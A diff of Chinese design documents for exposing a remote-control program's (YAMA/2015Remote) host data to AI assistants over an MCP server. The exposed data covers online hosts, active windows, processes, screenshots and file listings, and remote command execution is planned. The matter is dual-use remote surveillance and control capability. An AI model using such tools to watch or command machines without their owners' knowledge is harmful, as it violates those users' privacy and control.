+- 仅接受 `POST /mcp`，其余路径/方法返回 404/405。
+
+### 3.4 工具设计：`list_online_hosts`
+
+#### 取数方案（已定：抽公共函数）
+
+`BuildDeviceListJson` 目前是 `CWebService` 的 private 方法，且依赖 `m_pParentDlg`。为满足「MCP 与 WebService 是平级数据消费者、不互相依赖」的原则，采用**方案 C：抽公共函数**。
+
+```cpp
+// 公共函数：提取单台在线主机的完整数据（含 GBK/UTF-8 编码处理），返回 UTF-8 的 Json::Value
+Json::Value BuildHostJson(context* ctx, _ClientList* clientMap);
+```
+
+- `CWebService::BuildDeviceListJson` 内部改调该公共函数，Web 侧签名与输出不变（零回归）。
+- `McpServer` 侧持 `CMy2015RemoteDlg*`（`SetParentDlg`），在 `m_cs` 锁内遍历 `m_HostList`、`IsLogin()` 过滤，对每台主机调 `BuildHostJson`，组装为结构化输出。
+- **职责边界**：用户名/分组过滤（`username` → `allowed_groups`）、`m_cs` 加锁、以及外层结构（Web 的 `{"cmd","devices"}` vs MCP 的 `{"hosts"}`）属于**调用方**，不进公共函数；`BuildHostJson` 只负责「单台主机 → `Json::Value`」的字段序列化与编码转换。其中 `remark` 依赖 `m_ClientMap->GetClientMapData(id, MAP_NOTE)`，故 `clientMap` 作为参数传入。
+
+选型说明：方案 A（MCP 依赖 `CWebService` 单例）依赖方向错误，且 `WebSvrPort=0` 时 `m_pParentDlg` 为空导致取不到数；方案 B（MCP 自持父对话框复制逻辑）违反 DRY、重复易错的编码处理。故取 C。
+
+#### 返回内容（全量，含实时信息）
+
+**保留 `BuildDeviceListJson` 的全部字段，不做精简**，以支持「AI 协助监督客户端运行状态」的场景：
+
+- 基础标识：`id` / `name` / `remark` / `ip` / `os` / `location` / `group` / `version` / `clientType` / `screen`
+- 实时信息：`rtt`（延迟）、`activeWindow`（当前活动窗口，即被控端正在做什么）
+
+输出结构 `{"hosts": [...]}`，每台主机一个对象，字段与 §3.3.2 的 `outputSchema` 一致。
+
+### 3.5 安全设计
+
+- **绑定地址**：默认 `127.0.0.1`（仅本机回环，其他机器无法访问）；可经 `McpBind` 配置为 `0.0.0.0`（所有网卡）或内网 IP（如 `192.168.0.92`）以支持远程调用。
+  - 非回环绑定时 token 经明文 HTTP 传输，需强 token，并建议配合防火墙限制源 IP 或启用 HTTPS（项目已有 WebHTTPS 实践）。
+- **静态 token 校验**：每个 `POST /mcp` 请求校验 `Authorization: Bearer <token>` header；不匹配返回 HTTP 401。
+- **token 来源**（优先顺序）：环境变量 `YAMA_MCP_TOKEN` → `THIS_CFG` 的 `McpToken` → 两者皆空则**随机生成**。
+  - 前两者任一非空即作为固定 token；仅当两者皆空时才随机生成（仅本次进程运行期间有效，进程重启后重新生成不同的 token）。
+  - 随机生成时**必须将 token 输出到日志**（`Mprintf`），否则用户无从获知、无法在 Claude Code 侧配置。
+  - 环境变量名 `YAMA_MCP_TOKEN` 建议同 `BRAND_WEB_ENV_VAR` 一样在 `UIBranding.h` 定义为宏（如 `BRAND_MCP_ENV_VAR`），避免散落硬编码字符串。
+- **只读边界**：MVP 仅一个只读工具，不暴露任何写/操控能力。
+- **HTTP 方法限制**：仅接受 `POST /mcp`，其余返回 404/405。
+
+### 3.6 配置设计
+
+沿用现有 `THIS_CFG`（`settings` 节）：
+
+| 配置键 | 默认值 | 说明 |
+|---|---|---|
+| `McpEnabled` | `0` | MCP 总开关：`0` = 禁用（默认），`1` = 启用。经「扩展 → MCP设置」对话框设置 |
+| `McpPort` | `6544` | MCP 监听端口；仅当 `McpEnabled=1` 时生效；未配置用默认 `6544` |
+| `McpBind` | `127.0.0.1` | 监听地址；默认仅本机；可设 `0.0.0.0`（所有网卡）或内网 IP（如 `192.168.0.92`）以支持远程 |
+| `McpToken` | 空（UI 默认随机值） | 静态 token；对话框内「token 必填、默认随机值」——首次打开若为空则预填随机并随保存持久化。运行时优先级：env `YAMA_MCP_TOKEN` → `McpToken` → 皆空则随机生成（见 §3.5） |
+
+> 与旧版「`McpPort=0` 即禁用」不同：启用与否改由独立的 `McpEnabled` 开关控制，`McpPort` 回归纯端口语义，二者解耦。
+
+### 3.7 生命周期接入
+
+在 `2015RemoteDlg.cpp` Web 服务启动块（约 `2048-2081`）之后，新增 MCP 启动逻辑。`McpServer` 与 `CWebService` 同为单例：提供 `static McpServer& Instance()` 与全局 `inline McpServer& McpServer()` 访问器（仿 `WebService()`，见 `WebService.h` 末尾的全局访问器写法）。
+
+```cpp
+auto mcpEnabled = THIS_CFG.GetInt("settings", "McpEnabled", 0);   // 默认禁用
+auto mcpPort    = THIS_CFG.GetInt("settings", "McpPort", 6544);
+auto mcpBind    = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
+if (mcpEnabled) {
+    // token 优先顺序：env YAMA_MCP_TOKEN → THIS_CFG McpToken → 皆空则随机（仅本次进程有效）
+    const char* envTok = getenv("YAMA_MCP_TOKEN");
+    std::string mcpToken;
+    if (envTok && *envTok) {
+        mcpToken = envTok;
+    } else {
+        mcpToken = THIS_CFG.GetStr("settings", "McpToken", "");
+    }
+    if (mcpToken.empty()) {
+        mcpToken = GenerateRandomToken();  // 32 hex 随机串
+        Mprintf("[McpServer] YAMA_MCP_TOKEN / McpToken 均未设置，本次进程随机 token：%s\n", mcpToken.c_str());
+    }
+    McpServer().SetParentDlg(this);   // 方案 C：MCP 需遍历 m_HostList，须持父对话框指针
+    McpServer().SetToken(mcpToken);
+    if (!McpServer().Start(mcpBind, mcpPort)) {
+        Mprintf("McpServer start failed on %s:%d\n", mcpBind.c_str(), mcpPort);
+    }
+}
+```
+
+并在退出路径（`OnDestroy` / `ExitInstance` 对应位置）调用 `McpServer().Stop()`。
+
+### 3.8 「MCP设置」配置对话框
+
+MCP 默认不启用，通过主对话框「扩展 → MCP设置」菜单项打开配置对话框来开启。菜单项位置：`2015Remote.rc` 扩展菜单（`POPUP "扩展(&X)"`）内、「地理信息(&L)」子菜单（纯真数据库 / IP2Region）的 `END` 之后、「插件设置」之前。
+
+#### 3.8.1 菜单与资源接线
+
+1. **`resource.h`**：新增命令 ID（取当前空闲段，经查 `33077` 空闲）：
+   ```cpp
+   #define ID_MCP_SETTINGS   33077
+   ```
+2. **`2015Remote.rc`**：在「地理信息(&L)」子菜单 `END` 之后、`插件设置` 之前插入：
+   ```
+   MENUITEM "MCP设置(&M)...",                  ID_MCP_SETTINGS
+   ```
+   并新增对话框资源 `IDD_DIALOG_MCP_SETTINGS`（「启用 MCP」复选框 + 端口/绑定地址/token 三个编辑框 + 确定/取消按钮）。
+3. **`UIBranding.h`**：扩展菜单隐藏开关新增一行（默认 `0` 显示）：
+   ```cpp
+   #define HIDE_MENU_MCP_SETTINGS   0   // MCP设置
+   ```
+4. **`FeatureFlags.h`**：新增运行时许可位，占用 MenuFlags 保留段 `[43-63]` 的首位（紧跟 `MF_REQUEST_AUTH` 之后）：
+   ```cpp
+   #define MF_MCP_SETTINGS       (1ULL << 43)  // HIDE_MENU_MCP_SETTINGS
+   ```
+5. **`2015RemoteDlg.cpp`**：`#include "McpSettingsDlg.h"`，然后消息映射 + 处理器 + 剪枝：
+   ```cpp
+   ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
+   // ...
+   void CMy2015RemoteDlg::OnMcpSettings()
+   {
+       CMcpSettingsDlg dlg(this);
+       dlg.DoModal();
+   }
+   ```
+   并在扩展菜单剪枝块（`pExtMenu`，约 `2015RemoteDlg.cpp:1225` 之后）追加：
+   ```cpp
+   if (SHOULD_HIDE_MENU(HIDE_MENU_MCP_SETTINGS, MF_MCP_SETTINGS))
+       pExtMenu->DeleteMenu(ID_MCP_SETTINGS, MF_BYCOMMAND);
+   ```
+
+> **实现注意**：`2015Remote.rc` 为 UTF-16 编码，菜单与对话框资源须由 VS 资源编辑器维护（手工改文本易破坏编码与资源 ID 引用）。`IDD_DIALOG_MCP_SETTINGS` 需在 `resource.h` 分配独立空闲的 `IDD_` 数值（与 `ID_MCP_SETTINGS` 分开）；对话框内控件 ID（如 `IDC_CHK_ENABLE_MCP` / `IDC_EDIT_MCP_PORT` / `IDC_EDIT_MCP_BIND` / `IDC_EDIT_MCP_TOKEN`）同理。
+
+#### 3.8.2 对话框字段与默认值
+
+| 控件 | 绑定配置键 | 默认值 | 说明 |
+|---|---|---|---|
+| 「启用 MCP」复选框 | `McpEnabled` | 未勾选（`0`） | 勾选后持久化 `McpEnabled=1` |
+| 端口 | `McpPort` | `6544` | 数字编辑框，仅当启用时有效 |
+| 绑定地址 | `McpBind` | `127.0.0.1` | 默认仅本机；可改 `0.0.0.0` / 内网 IP |
+| Token | `McpToken` | 随机值 | 必填；为空时预填随机 token |
+
+#### 3.8.3 初始化与保存
+
+打开时读 `THIS_CFG` 回填；token 为空则当场生成随机值预填（32 hex）。保存时落盘并弹重启提醒：
+
+```cpp
+BOOL CMcpSettingsDlg::OnInitDialog()
+{
+    CDialogLangEx::OnInitDialog();
+    int enabled  = THIS_CFG.GetInt("settings", "McpEnabled", 0);
+    int port     = THIS_CFG.GetInt("settings", "McpPort", 6544);
+    std::string bind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
+    std::string tok  = THIS_CFG.GetStr("settings", "McpToken", "");
+    if (tok.empty()) tok = GenerateRandomToken();   // 预填随机，随保存持久化
+    // 回填到控件：m_bEnabled / m_nPort / m_strBind / m_strToken
+    return TRUE;
+}
+
+void CMcpSettingsDlg::OnBnClickedBtnSave()
+{
+    // 从控件收集：enabled / port / bind / token
+    if (enabled && token.empty()) {
+        MessageBoxL(_TR("Token 不能为空"), _TR("提示"), MB_ICONWARNING);
+        return;
+    }
+    THIS_CFG.SetInt("settings", "McpEnabled", enabled ? 1 : 0);
+    THIS_CFG.SetInt("settings", "McpPort", port);
+    THIS_CFG.SetStr("settings", "McpBind", bind);
+    THIS_CFG.SetStr("settings", "McpToken", token);
+    MessageBoxL(_TR("MCP 设置已保存。\n启用/端口/绑定地址/Token 的改动需重启程序生效。"),
+                _TR("提示"), MB_ICONINFORMATION);
+    CDialogLangEx::OnOK();
+}
+```
+
+#### 3.8.4 与运行时 token 逻辑的衔接
+
+对话框的「默认随机 token」是把随机值**写入 `McpToken` 并持久化**，于是下次启动走 `env → McpToken` 的固定 token 分支；运行时「两者皆空则随机」分支仅在用户从未通过对话框设置过（或手动清空 token）时兜底，两者不冲突。`GenerateRandomToken()` 为 MCP 侧新增的小工具函数（32 hex 随机串，可用 `rand_s` / `BCryptGenRandom` 实现；如需可复用 `WebServiceAuth.h` 的 `ComputeSHA256` 派生）。
+
+---
+
+## 4. 实施步骤
+
+| 步骤 | 内容 | 验收 |
+|---|---|---|
+| 1 | 新建 `McpProtocol`：JSON-RPC 分发 + `initialize`/`tools/list`/`tools/call`（含 jsoncpp 解析/序列化） | 单元自测：手写请求串，验证响应 |
+| 2 | 新建 `McpServer`：httplib 起 `127.0.0.1:6544`，`POST /mcp` 路由 + token 校验（含随机生成） | curl 请求返回 401/正常 |
+| 3 | 抽公共函数 `BuildHostJson`，`CWebService::BuildDeviceListJson` 改调之 | Web 输出不变，零回归 |
+| 4 | 注册 `list_online_hosts` 工具：handler 持父对话框、`m_cs` 锁内遍历、调 `BuildHostJson` 组装 | `tools/call` 返回主机列表 |
+| 5 | 新增 `McpSettingsDlg` + 菜单项接线（`ID_MCP_SETTINGS` / `OnMcpSettings` / `HIDE_MENU_MCP_SETTINGS` / `IDD_DIALOG_MCP_SETTINGS` 资源） | 对话框可启用/禁用、配置端口/绑定/token，保存落盘并提示重启 |
+| 6 | 接入 `2015RemoteDlg` 启动/停止（按 `McpEnabled` 门控）+ 配置 | 服务端启动后端口监听正常 |
+| 7 | Claude Code 接入验证（见 §5） | 见验收标准 |
+
+---
+
+## 5. 验收标准
+
+1. 在「MCP设置」对话框启用并重启服务端后，`127.0.0.1:6544` 监听正常，外部地址无法访问；未启用时该端口不监听。
+2. 无 token 的请求返回 HTTP 401；错误 token 返回 401；正确 token 通过。
+3. `curl` 模拟 `initialize` → `tools/list` → `tools/call` 全流程，返回符合 JSON-RPC 2.0 与 MCP 规范。
+4. Claude Code 侧：
+   ```bash
+   claude mcp add yama --transport http http://127.0.0.1:6544/mcp -H "Authorization: Bearer <token>"
+   ```
+   `claude mcp list` 能看到 `yama`，在对话中问「列出在线主机」能正确触发工具并返回列表。
+5. 现有 Web 控制台、IOCP 主服务功能无回归。
+
+---
+
+## 6. 风险与约束
+
+| 风险 | 说明 | 应对 |
+|---|---|---|
+| 无官方 C++ MCP SDK | 需手写 JSON-RPC 协议层 | 仅实现 3 个方法，量小可控；协议稳定后再考虑抽库 |
+| MCP 规范版本演进 | protocolVersion 字符串需与客户端匹配 | 实现时对照最新规范；`initialize` 返回可协商版本 |
+| 并发安全 | 遍历 `m_HostList` 需持 `m_cs` | MCP 与 WebService 采用相同的「`m_cs` 锁内遍历」模式 |
+| 字符编码 | GBK/UTF-8 分叉 | 复用公共函数 `BuildHostJson` 的编码处理，不自造 |
+| token 存储 | `THIS_CFG` 的 token 会明文落盘；随机 token 会打印到日志 | 本地回环 + 只读，风险可控；敏感场景建议仅用 env 并妥善保管 |
+
+---
+
+## 7. 后续扩展规划（本期不做）
+
+- 工具：`get_host_processes`（进程列表）、`execute_command`（命令执行）、`capture_screen`（截图）等
+- 写操作工具的安全边界评审（操作对象、权限、审计）
+- 认证升级：复用 `WebServiceAuth` 的签名 token / 过期机制
+- 分组过滤：`list_online_hosts` 加 `group` 参数
+
+---
+
+## 8. 决策记录
+
+**决策记录（全部已定）：**
+- ✅ **启用开关**：新增 `McpEnabled`，默认 `0`（禁用）。MCP 默认不启动，须用户在「扩展 → MCP设置」对话框手动开启。
+- ✅ **端口**：`McpPort` 可配置，未配置默认 `6544`（纯端口语义，不再兼任启用开关）。
+- ✅ **token**：优先顺序 env `YAMA_MCP_TOKEN` → `THIS_CFG.McpToken` → 皆空则随机生成（仅本次进程有效，打印到日志）。对话框内 token 必填、默认随机值（预填并随保存持久化到 `McpToken`）。
+- ✅ **绑定地址**：默认 `127.0.0.1`（仅本机）；可配置为 `0.0.0.0` 或内网 IP（如 `192.168.0.92`）以支持多人协作跨机调用。
+- ✅ **配置入口**：主对话框「扩展」菜单，位于「地理信息(&L)」子菜单下方新增「MCP设置」菜单项，打开独立配置对话框。
+- ✅ **生效方式**：MCP 启用/端口/绑定/token 的改动均需重启服务端生效，对话框保存后弹窗提醒「重启程序生效」。
+- ✅ **取数方案**：C（抽公共函数 `BuildHostJson`，MCP 与 WebService 平级复用）。
+- ✅ **返回字段**：全量，含实时信息（`rtt` / `activeWindow`），支持 AI 监督场景。
+- ✅ **序列化**：`structuredContent` + `outputSchema`，`content` 附带可读摘要。

docs/Mcp_Phase2_Design.md

@@ -0,0 +1,486 @@
+# YAMA MCP 功能开发技术书（Phase 2 及后续）
+
+> **状态**：设计定稿（已按两轮评审修订）；P2a、P2b 已实现并经真实主机验证（`search_hosts` / `get_host_detail` / `list_processes` / `list_windows` / `get_activity_history`）；P2c 已实现（`get_screenshot` / `list_files`）；P2d 已实现并验证（`list_services` / `get_client_log`）。
+> **读者**：MCP 后续功能的研发/评审人员。
+> **关联文档**：[Mcp_Design.md](./Mcp_Design.md)（Phase 1 的协议、架构、配置与菜单设计）。
+> **核心目标**：让 MCP 从「单个只读工具」平滑演进为「分阶段、可回滚、影响面可控」的工具集，**不一次性大改现有功能**。
+
+---
+
+## 1. 背景与目标
+
+Phase 1 已跑通 MCP 最小闭环：`httplib` + JSON-RPC 2.0，单工具 `list_online_hosts`，静态 Bearer token，经「扩展 → MCP设置」对话框开启。目标是把 YAMA 服务端已有的主机管理能力（进程、窗口、终端、截图、文件等）**逐步**暴露为 MCP 工具，供 Claude Code 等 AI 助手以工具调用方式使用。
+
+本技术书解决三个问题：
+
+1. **做什么**——工具路线图与优先级（只读 → 安全写 → 会话）。
+2. **怎么做**——复用现有协议，无头驱动、不弹对话框；**区分「主连接 RPC」与「子链接流式」两种模式**。
+3. **怎么稳**——每个阶段独立可交付、可回滚，影响面小、可验收。
+
+---
+
+## 2. 现状回顾（Phase 1 已交付）
+
+| 模块 | 文件 | 职责 |
+|------|------|------|
+| HTTP/JSON-RPC 分发 | `McpServer.h` / `McpServer.cpp` | `POST /mcp`；token 校验；`initialize`/`ping`/`tools/list`/`tools/call` |
+| 工具序列化复用 | `HostJson.h` / `HostJson.cpp` | `BuildHostJson(ctx, clientMap)`，单主机 JSON（与 WebService 共用） |
+| 配置对话框 | `McpSettingsDlg.h` / `.cpp` | 运行时构造对话框：enable/port/bind/token |
+| 生命周期接入 | `2015RemoteDlg.cpp:2136-2162`（启动）、`3900-3906`（停止） | 随主对话框启停 |
+| FRP 暴露 | `2015RemoteDlg.cpp:3269-3304` | MCP 端口仅在「启用 + 绑 `0.0.0.0`」时纳入 FRP |
+
+关键结论：**MCP 未引入任何新第三方库**——`httplib`（HTTP）与 `jsoncpp`（JSON）均为项目既有依赖。
+
+当前工具实现只有一个 dispatch 分支（`McpServer.cpp` 的 `BuildToolsCall`），新增工具的边际成本很低：**注册 `outputSchema` + 加一个 `tools/call` 分支**。
+
+---
+
+## 3. 设计原则（贯穿所有后续开发）
+
+1. **只读优先，写操作单独评审**：延续 `Mcp_Design.md §1.3`。只读工具直接做；任何「改变被控端状态」的工具（命令执行、杀进程、传文件、控制）必须经安全评审 + 独立授权。
+2. **复用现有协议，不新造命令**：一切数据获取/操控都走 `common/commands.h` 里既有的 `COMMAND_*`（服务端→客户端）与 `TOKEN_*`（客户端→服务端），不新增自定义命令。
+3. **无头接管复用 Web 终端模式**：对话框只是 UI 外壳；MCP 复用 `WebService` 的挂起标记/接管模式，把数据接到 MCP 侧，**不弹框**。
+4. **每阶段独立可交付、可回滚**：一个阶段 = 一批工具 + 对应验收；出错可单独 revert，不连坐。
+5. **超时与清理是硬约束**：MCP 是 request/response，一次 `tools/call` 不能无限阻塞等数据；必须有超时、迟到回收、用完即关。
+6. **输出 schema 先行**：每个工具先在 `tools/list` 里声明完整 `inputSchema`/`outputSchema`，AI 客户端据此决定何时调用、如何解析。
+
+---
+
+## 4. 核心机制：无头驱动（双模式）
+
+> **本节是本技术书的关键**。此前设计把「进程/窗口/截图」误当作「子链接」，评审后纠正为：这些是**主连接 request/response**；真正走子链接的只有终端、完整屏幕、文件传输等大流量/持续流能力。两者实现机制不同，必须分开建模。
+
+### 4.1 连接模型：主连接 vs 子链接
+
+`common/commands.h` 定义了完整协议，分两层：
+
+- **主连接**：客户端上线后与主控保持的长连接。承载心跳（`TOKEN_HEARTBEAT`）、命令下发，以及**轻量 request/response**——屏幕预览缩略图（`TOKEN_SCREEN_PREVIEW_RSP`）、历史活动（`TOKEN_REPORT_ACTIVITY`）等。响应以 `TOKEN_*` 回到主连接（捕获点见 §4.2）。
+- **子链接**：屏幕、终端、文件传输、**进程/窗口列表**等功能，服务端下 `COMMAND_*` 后客户端**新建一条 TCP 子链接**回连，数据以 `TOKEN_*` 开头，作为一个**新的 `CONTEXT_OBJECT`** 进入分派。其中进程/窗口列表是**一次性子链接**（回一条 `TOKEN_PSLIST`/`TOKEN_WSLIST` 即关，见 §4.2 模式 A′），终端/屏幕/文件传输则是**持续流子链接**。
+
+两者都由同一个 `MessageHandle(CONTEXT_OBJECT*)` 分派，靠 `ContextObject->GetClientID()` 关联到同一台主机。**判断一个 `TOKEN_*` 属于哪层，看它的数据落在哪个 context 上**：
+
+| 证据 | 结论 |
+|------|------|
+| 客户端 `KernelManager.cpp:1156` `COMMAND_SYSTEM` → `new IOCPClient` 子链接 + `LoopProcessManager`；`SystemManager.cpp:75` `GetProcessList()` 里 `szBuffer[0]=TOKEN_PSLIST`，经子链接 `Send2Server` 回传 | 进程/窗口列表 = **一次性子链接**（主连接下 `COMMAND_SYSTEM`/`COMMAND_WSLIST`，子连接回 `TOKEN_PSLIST`/`TOKEN_WSLIST`） |
+| `2015RemoteDlg.cpp:8527-8536`：`SendScreenPreviewRequest` 用 `ctx->Send2Client(...)`；响应 `TOKEN_SCREEN_PREVIEW_RSP` 在 `MessageHandle:6173` | 屏幕预览 = **主连接 RPC** |
+| `WebService.cpp:1836-1900` + `2015RemoteDlg.cpp:6312-6351`：`COMMAND_SHELL` → 客户端建 shell 子上下文 → `TOKEN_SHELL_START`/`TOKEN_TERMINAL_START` | 终端 = **子链接** |
+
+### 4.2 模式 A：主连接 RPC（截图 / 历史活动）
+
+适用于：`get_screenshot`（屏幕预览）、`get_activity_history`（历史活动）。
+
+```
+MCP 工具 tools/call
+  └─► 主 context ctx = FindHost(device_id)
+        └─► ctx->Send2Client(COMMAND_*)                  // 主连接发 1 字节命令
+客户端处理后在主连接回 TOKEN_*
+  └─► MessageHandle 收到 TOKEN_*（数据已在 ctx->InDeCompressedBuffer）
+        ├─ if (McpServer().IsPending(devId))
+        │      McpServer().TakeMainResponse(devId, ctx->GetBuffer(0), ctx->GetBufferLength()); // IO 线程同步拷贝
+        │      break;                                    // 跳过 MFC 弹框（不 CancelIO，主连接不可关）
+        └─ 否则走原 MFC 路径（如打开历史活动对话框）
+```
+
+要点：
+
+- **无子链接、无 subCtx**：数据就在主 context 缓冲里，MCP 只需在 `MessageHandle` 的对应 `TOKEN_*` 分支里**同步拷贝**到结果缓冲，再唤醒等待者。
+- **不 CancelIO**：响应落在主连接上，关闭会断开整个主机会话；故拦截后仅 `TakeMainResponse` + `break`，主连接保持。
+- **捕获点因工具而异（必须在 IO 线程同步拷贝）**：屏幕预览的 `TOKEN_SCREEN_PREVIEW_RSP` **直接读本消息的 `szBuffer`/`len`**（`2015RemoteDlg.cpp:6173-6185` 已在 case 内把 `szBuffer` 拷贝到堆消息再转主线程）；历史活动的 `TOKEN_REPORT_ACTIVITY` 读 `GetBuffer(0)`（= `InDeCompressedBuffer`）。两者都是每 context 单消息缓冲，主连接 recv 循环处理完本条消息后即被覆盖，故拷贝必须发生在 `MessageHandle` 内部（IO 线程），不能异步等 UI 线程。
+- **请求关联**：`get_screenshot` 有 `reqId`（`ScreenPreviewReq.reqId`）可丢弃过期响应；`get_activity_history` **无请求 id**，靠「每 host 单飞行」（见 §4.4）保证正确性。
+
+### 4.2′ 模式 A′：一次性子链接（进程 / 窗口列表）
+
+适用于：`list_processes`、`list_windows`。**这是本技术书相对原设计的重要纠正**：进程/窗口列表**不是**主连接 RPC，而是一次性子链接——`COMMAND_PSLIST` 在主连接上是空操作（客户端 `KernelManager::OnReceive` 无此 case），正确的触发命令是 `COMMAND_SYSTEM`（进程）/`COMMAND_WSLIST`（窗口）。
+
+```
+MCP 工具 tools/call
+  └─► 主 context ctx = FindHost(device_id)
+        └─► ctx->Send2Client(COMMAND_SYSTEM / COMMAND_WSLIST)   // 主连接发 1 字节命令
+客户端 KernelManager::OnReceive 收到后新建一条子链接（new IOCPClient，EnableSubConnAuth）
+  └─► 子链接 ConnectServer 后先发 TOKEN_CONN_AUTH（服务端 SetID 把 clientID 钉在子 context 上）
+        └─► CSystemManager 构造函数立即 Send2Server(TOKEN_PSLIST / TOKEN_WSLIST)
+  └─► MessageHandle 在【子 context】上收到 TOKEN_PSLIST / TOKEN_WSLIST（GetClientID()==主 host id）
+        ├─ if (McpServer().IsPending(devId))
+        │      McpServer().TakeMainResponse(devId, GetBuffer(0), GetBufferLength());
+        │      ContextObject->CancelIO();       // 用完即关一次性子链接（不关会泄漏）
+        │      break;                           // 跳过 WM_OPENSYSTEMDIALOG
+        └─ 否则 g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, ...)  // MFC 路径
+```
+
+要点：
+
+- **有子链接、有 subCtx**：数据落在子 context 上，非主 context。子 context 的 `GetClientID()` 已由 `TOKEN_CONN_AUTH`（`2015RemoteDlg.cpp:6291` 的 `SetID`）钉成主连接 clientID，故 `IsPending(devId)` 能与主 context 的 `device_id` 对上。
+- **用完即关**：MCP 拦截后 `CancelIO()` 关闭子链接（客户端 IOCPClient 以 `exit_while_disconnect=true` 构造，会随断开退出）；不关会泄漏子链接。
+- **与 MFC 对话框可并存**：MCP 与 MFC 对话框**各自使用独立的子链接**（客户端每次 `COMMAND_SYSTEM`/`COMMAND_WSLIST` 都新建一条），因此两者互不阻塞——MCP 的一次性调用不会导致 MFC 无法查看进程/窗口，反之亦然。无请求 id 的串扰靠「每 host 单飞行」（§4.4）规避，而非「与 MFC 对话框互斥」。
+- **编码**：进程名/路径按 clientType 判定（Windows=GBK/936、LNX/MAC=UTF-8，进程枚举走 A 接口不随 `CLIENT_CAP_UTF8` 转 UTF-8）；窗口标题为客户端 UTF-8（按能力位 `CLIENT_CAP_UTF8` 判别，老客户端回落 CP936）。
+- **请求关联**：无请求 id → 每 host 单飞行（§4.4）。
+
+- **文件列举也走 A′（`list_files`）**：列盘与进程/窗口同构（`COMMAND_LIST_DRIVE`→一次性子链接→`TOKEN_DRIVE_LIST` 即关）；列目录则在此一次性子链接上**多一轮** `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` 后再关。故 `list_files` 归入模式 A′，而非原设计的模式 A（详见 §6.3）。
+
+> **模式 A0（主连接单向命令，无响应）**：`kill_process`（`COMMAND_KILLPROCESS`）、`send_message`（`COMMAND_TALK`）这类「发完即走」的命令没有 MCP 需要的响应数据，**不需要** §4.4 的挂起注册表/超时/单飞行——`Send2Client` 后直接返回成功。它是模式 A 的退化情形，实现最简单。
+
+### 4.3 模式 B：子链接流式（终端 / 完整屏幕 / 完整文件）
+
+适用于：`exec_command`（终端），以及未来的实时远程桌面、完整文件传输。
+
+```
+MCP 工具 tools/call
+  └─► 登记挂起请求 m_Pending[device_id]（标记 mode=B）
+  └─► ctx = FindHost(device_id); ctx->Send2Client(COMMAND_SHELL)   // 主连接下命令
+客户端建 shell 子链接
+  └─► MessageHandle 收到 TOKEN_SHELL_START / TOKEN_TERMINAL_START
+        ├─ if (McpServer().IsPending(devId))
+        │      McpServer().TakeSubContext(devId, ContextObject);   // 接管子上下文
+        │      break;                                              // 跳过弹框
+        └─ 否则弹 WM_OPENSHELLDIALOG
+后续 shell 输出
+  └─► MessageHandle 顶部 IsTerminalContext 分支 → McpServer().OnShellData(...) 泵数据
+```
+
+完全复刻 `WebService` 的 `IsTermPending`/`RegisterTerminalContext`/`OnTerminalData` 模式（`WebService.h:283-287`），但**不复用其长会话状态**——MCP 是「一次性：建链 → 收发 → 关链」。
+
+### 4.4 统一挂起请求注册表
+
+模式 A（主连接 RPC）与模式 A′（一次性子链接）共用一个按 `device_id`（= `context::GetClientID()`）索引的注册表。**当前实现（P2b）只覆盖 A/A′ 两种「一次性响应」**，故结构里只有 `data` + `done`，无需 `mode`/`subCtx`/`timedOut`；未来 P3a 的 `exec_command`（模式 B 流式）再扩展 `subCtx` 字段。
+
+```cpp
+struct PendingRequest {
+    std::string       tool;
+    std::vector<BYTE> data;   // 结果缓冲（MessageHandle 内同步拷贝的字节）
+    bool              done = false;
+};
+std::mutex              m_PendingMutex;
+std::condition_variable m_PendingCv;
+std::map<uint64_t, PendingRequest> m_Pending;   // 受 m_PendingMutex 保护
+```
+
+暴露给 `MessageHandle` 的钩子：
+
+- `bool IsPending(uint64_t device_id)` —— 该 `TOKEN_*` 是否为 MCP 触发。
+- `void TakeMainResponse(uint64_t device_id, const BYTE* data, ULONG len)` —— 模式 A/A′：拷贝缓冲、`done=true`、唤醒 `cv`（在 IO 线程阻塞期间同步调用，拷贝安全）。
+
+工具线程侧的方法：
+
+- `bool BeginPending(uint64_t device_id, const std::string& tool)` —— 登记挂起（`false` = 该 host 已有挂起，返回「设备忙」）。
+- `bool WaitPending(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs)` —— 等待响应（超时/失败自动清理并返回 `false`）。
+- `void ClearPending(uint64_t device_id)` —— 提前退出路径的清理。
+
+**每 host 单飞行**：同一 `device_id` 同一时刻只允许一个挂起请求。这是「无请求 id」工具的正确性前提——进程/窗口/历史活动响应都不带请求 id，若同 host 并发两个请求，无法区分响应归属，故并发第二个请求返回「设备忙」（`-32003`）而非串扰。
+
+> 说明：单飞行只约束「MCP 侧同 host 并发」，**不**约束「MCP 与 MFC 对话框并存」——二者各用独立子链接（模式 A′）或各自触发（模式 A），互不占位。详见 §4.2′。
+
+### 4.5 超时与清理（MCP 与 Web 的关键差异）
+
+Web 是长连接，子链接可长驻；MCP 是**一次性 request/response**。因此：
+
+- **超时**：`wait_for(timeout)` 等数据；当前 P2b 用编译期常量 `kMcpToolTimeoutMs = 20000`（暂未接配置，见 §9）。超时返回 JSON-RPC 错误（`-32001`），并清理注册表。
+- **迟到回收（已知边界）**：数据在超时后才到达（`IsPending` 已清）时，拦截分支不成立，响应会**回落到原 MFC 路径**（进程/窗口弹 `WM_OPENSYSTEMDIALOG`，历史活动弹对话框）——属「客户端在 20s 内未响应」这一病态场景的罕见副作用，不会串扰或崩溃。正常路径（<1s 内响应）不受影响。若未来要彻底消除，可给注册表加「超时墓碑 + 宽限期丢弃」。
+- **用完即关**：模式 A′（进程/窗口）拦截后 `CancelIO()` 关一次性子链接；模式 A（主连接 RPC）不关主连接。未来模式 B（终端）收集完 stdout 后主动关子上下文。
+- **阻塞 httplib worker**：`wait_for` 会阻塞 `HandleMcp` 所在的 httplib worker 线程。httplib 默认线程池约 8 线程，阻塞一个 20–30s 会占住一个 worker。MCP 属低频串行调用（AI 逐条调用），**本阶段可接受**；但需在 §12 显式声明，若未来需并发改用「提交任务 + 轮询结果」的异步模型。
+
+---
+
+## 5. 工具路线图（分阶段）
+
+### 5.1 工具总表
+
+> 「模式」标注实现路径（A=主连接 RPC，A′=一次性子链接，A0=主连接单向命令[无响应]，B=子链接流式，—=纯内存）。
+
+| 阶段 | 工具 | 功能 | 复用协议/函数 | 模式 | 风险 |
